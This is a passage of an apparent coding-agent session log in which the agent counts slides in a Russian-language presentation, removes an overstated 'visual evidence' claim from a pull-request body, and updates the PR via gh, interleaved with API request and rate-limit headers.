\"req_011CfXP4v9DXyawg9sgKmcX1\"\n[2026-09-29T08:02:39.409Z] [INFO] }\n[2026-09-29T08:02:59.326Z] [INFO] {\n[2026-09-29T08:02:59.326Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:59.326Z] [INFO]   \"message\": {\n[2026-09-29T08:02:59.326Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"id\": \"msg_011CfXP4vfxWYfkGcbiq69PK\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"content\": [\n[2026-09-29T08:02:59.326Z] [INFO]       {\n[2026-09-29T08:02:59.326Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"id\": \"toolu_01DxJV4RKMs5j38NpyhiBq19\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"input\": {\n[2026-09-29T08:02:59.326Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; B=https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092; cat > /tmp/pr-body.md < /tmp/pr-body.md < \\\\*\\\\*' *slides.md | head -3; cat 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    \"cache_read_input_tokens\": 86989,\n[2026-09-29T08:03:06.317Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:06.317Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:06.317Z] [INFO]         \"ephemeral_1h_input_tokens\": 2485\n[2026-09-29T08:03:06.317Z] [INFO]       },\n[2026-09-29T08:03:06.317Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:03:06.317Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:06.317Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:06.317Z] [INFO]     },\n[2026-09-29T08:03:06.317Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:06.317Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:06.317Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:06.317Z] [INFO]   },\n[2026-09-29T08:03:06.317Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:06.317Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"uuid\": \"782c2671-98a2-45cf-8d2d-ab2103d7cae4\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:06.309Z\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"request_id\": \"req_011CfXP6ec8JKtDRGzjZmu8z\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:06.317Z] [INFO]     \"toolu_01NYR5Jq7ivZVV468KFJcJYe\": {\n[2026-09-29T08:03:06.317Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; awk '/^## \u041e\u0442\u0432\u0435\u0442\u044b/{f=1} f&&/^### /{n++} END{print \\\"qa\\\",n}' *speaker*.md; grep -c '\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' *slides.md; grep -c '\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f' *slides.md; grep -n -i '\u0432\u044b\u0434\u0435\u043b\u0435\u043d\\\\|> \\\\*\\\\*' *slides.md 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\"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:08.416Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:08.420Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:08.423Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:08.426Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:08.431Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:08.437Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:08.493Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:08.496Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:08.499Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:08.501Z] [STDOUT]   },\n[2026-09-29T08:03:08.503Z] [STDOUT] }\n[2026-09-29T08:03:09.138Z] [STDOUT] [log_0a58bf, request-id: \"req_011CfXP79j6F6njqnKfuYGAv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 885ms\n[2026-09-29T08:03:09.144Z] [STDOUT] [log_0a58bf] response start {\n[2026-09-29T08:03:09.153Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:09.157Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:09.161Z] [STDOUT]   headers: {\n[2026-09-29T08:03:09.168Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:09.174Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:09.183Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:09.192Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:09.203Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:09.208Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.217Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:09.232Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:09.241Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:09.258Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:09.261Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:09.265Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:09.272Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:09.278Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.288Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:09.292Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:09.295Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:09.301Z] [STDOUT]     \"cf-ray\": \"a4297838a8b35d90-FRA\",\n[2026-09-29T08:03:09.310Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:09.390Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:09.413Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:09.449Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:09.458Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:09 GMT\",\n[2026-09-29T08:03:09.463Z] [STDOUT]     \"request-id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:09.466Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:09.497Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:09.540Z] [STDOUT]     traceresponse: \"00-834e485cda53c0c40f9d9d25f0ba364c-560d3004f41cd15b-01\",\n[2026-09-29T08:03:09.557Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:09.567Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:09.574Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:09.582Z] [STDOUT]   },\n[2026-09-29T08:03:09.613Z] [STDOUT]   durationMs: 885,\n[2026-09-29T08:03:09.625Z] [STDOUT] }\n[2026-09-29T08:03:09.635Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:09.637Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:09 GMT\",\n[2026-09-29T08:03:09.657Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:09.667Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:09.672Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:09.676Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:09.678Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:09.681Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:09.684Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:09.686Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:09.690Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:09.693Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:09.697Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:09.701Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:09.705Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:09.708Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:09.722Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:09.725Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.729Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:09.738Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:09.756Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:09.774Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:09.780Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.784Z] [STDOUT]   \"request-id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:09.786Z] [STDOUT]   \"traceresponse\": \"00-834e485cda53c0c40f9d9d25f0ba364c-560d3004f41cd15b-01\",\n[2026-09-29T08:03:09.792Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:09.800Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:09.803Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:09.808Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:09.812Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:09.817Z] [STDOUT]   \"cf-ray\": \"a4297838a8b35d90-FRA\",\n[2026-09-29T08:03:09.821Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:09.855Z] [STDOUT] [log_0a58bf] response parsed {\n[2026-09-29T08:03:09.862Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:09.866Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:09.870Z] [STDOUT]   body: X {\n[2026-09-29T08:03:09.877Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:09.880Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:09.881Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:09.883Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:09.886Z] [STDOUT]     },\n[2026-09-29T08:03:09.889Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:09.893Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:09.899Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:09.902Z] [STDOUT]   },\n[2026-09-29T08:03:09.908Z] [STDOUT]   durationMs: 886,\n[2026-09-29T08:03:09.913Z] [STDOUT] }\n[2026-09-29T08:03:09.921Z] [INFO] {\n[2026-09-29T08:03:09.921Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:03:09.921Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:09.921Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"uuid\": \"c787b512-b7f3-4a02-bc40-c8c1123f80d5\"\n[2026-09-29T08:03:09.921Z] [INFO] }\n[2026-09-29T08:03:10.106Z] [INFO] {\n[2026-09-29T08:03:10.106Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"estimated_tokens\": 199,\n[2026-09-29T08:03:10.106Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:10.106Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:10.106Z] [INFO]   \"uuid\": \"3bb1f265-71f7-4b7a-bcd3-eb25941f6d77\"\n[2026-09-29T08:03:10.106Z] [INFO] }\n[2026-09-29T08:03:10.124Z] [INFO] {\n[2026-09-29T08:03:10.124Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"message\": {\n[2026-09-29T08:03:10.124Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"id\": \"msg_011CfXP7ACch9WVUtPVy7fMH\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:10.124Z] [INFO]     \"content\": [\n[2026-09-29T08:03:10.124Z] [INFO]       {\n[2026-09-29T08:03:10.124Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:10.124Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:10.124Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:03:10.124Z] [INFO]     ],\n[2026-09-29T08:03:10.124Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:10.124Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:10.124Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:10.124Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:10.124Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:10.124Z] [INFO]       },\n[2026-09-29T08:03:10.124Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:10.124Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:10.124Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:10.124Z] [INFO]     },\n[2026-09-29T08:03:10.124Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:10.124Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:10.124Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:10.124Z] [INFO]   },\n[2026-09-29T08:03:10.124Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:10.124Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"uuid\": \"284df500-8144-4815-ac4d-03dee591e04c\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:10.104Z\",\n[2026-09-29T08:03:10.124Z] [INFO]   \"request_id\": \"req_011CfXP79j6F6njqnKfuYGAv\"\n[2026-09-29T08:03:10.124Z] [INFO] }\n[2026-09-29T08:03:10.189Z] [INFO] {\n[2026-09-29T08:03:10.189Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:10.189Z] [INFO]   \"message\": {\n[2026-09-29T08:03:10.189Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"id\": \"msg_011CfXP7ACch9WVUtPVy7fMH\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:10.189Z] [INFO]     \"content\": [\n[2026-09-29T08:03:10.189Z] [INFO]       {\n[2026-09-29T08:03:10.189Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:10.189Z] [INFO]         \"text\": \"Only 7 of 10 slides have a \\\"visual evidence\\\" line, so I'm removing that claim from the PR body before updating the PR.\"\n[2026-09-29T08:03:10.189Z] [INFO]       }\n[2026-09-29T08:03:10.189Z] [INFO]     ],\n[2026-09-29T08:03:10.189Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:10.189Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:10.189Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:10.189Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:10.189Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:10.189Z] [INFO]       },\n[2026-09-29T08:03:10.189Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:10.189Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:10.189Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:10.189Z] [INFO]     },\n[2026-09-29T08:03:10.189Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:10.189Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:10.189Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:10.189Z] [INFO]   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{\n[2026-09-29T08:03:11.805Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"id\": \"toolu_01Xhu9dUuLN3uuQf5nnHD9pv\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:11.805Z] [INFO]         \"input\": {\n[2026-09-29T08:03:11.805Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -i 's/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u043c\u043f\u0442/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442/' /tmp/pr-body.md; grep -c '\u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' /tmp/pr-body.md; gh pr edit 648 --title \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\" --body-file /tmp/pr-body.md >/dev/null && echo updated\",\n[2026-09-29T08:03:11.805Z] [INFO]           \"description\": \"Update PR title and body\"\n[2026-09-29T08:03:11.805Z] [INFO]         },\n[2026-09-29T08:03:11.805Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:11.805Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:11.805Z] [INFO]         }\n[2026-09-29T08:03:11.805Z] [INFO]       }\n[2026-09-29T08:03:11.805Z] [INFO]     ],\n[2026-09-29T08:03:11.805Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:11.805Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_creation_input_tokens\": 679,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_read_input_tokens\": 89474,\n[2026-09-29T08:03:11.805Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:11.805Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:11.805Z] [INFO]         \"ephemeral_1h_input_tokens\": 679\n[2026-09-29T08:03:11.805Z] [INFO]       },\n[2026-09-29T08:03:11.805Z] [INFO]       \"output_tokens\": 10,\n[2026-09-29T08:03:11.805Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:11.805Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:11.805Z] [INFO]     },\n[2026-09-29T08:03:11.805Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:11.805Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:11.805Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:11.805Z] [INFO]   },\n[2026-09-29T08:03:11.805Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:11.805Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"uuid\": \"1576574e-978c-4243-85ae-278aa1b096ba\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:11.798Z\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"request_id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:11.805Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:11.805Z] [INFO]     \"toolu_01Xhu9dUuLN3uuQf5nnHD9pv\": {\n[2026-09-29T08:03:11.805Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -i 's/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u043c\u043f\u0442/\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442/' /tmp/pr-body.md; grep -c '\u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' /tmp/pr-body.md; gh pr edit 648 --title \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:16.378Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:16.383Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:16.389Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:16.395Z] [STDOUT]   },\n[2026-09-29T08:03:16.400Z] [STDOUT] }\n[2026-09-29T08:03:17.238Z] [STDOUT] [log_ceb8d3, request-id: \"req_011CfXP7jExje1VWimWWSy66\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1145ms\n[2026-09-29T08:03:17.249Z] [STDOUT] [log_ceb8d3] response start {\n[2026-09-29T08:03:17.253Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:17.256Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:17.269Z] [STDOUT]   headers: {\n[2026-09-29T08:03:17.280Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:17.282Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:17.286Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:17.289Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:17.292Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:17.298Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:17.301Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:17.304Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:17.307Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:17.309Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:17.311Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:17.314Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:17.316Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:17.318Z] [STDOUT] 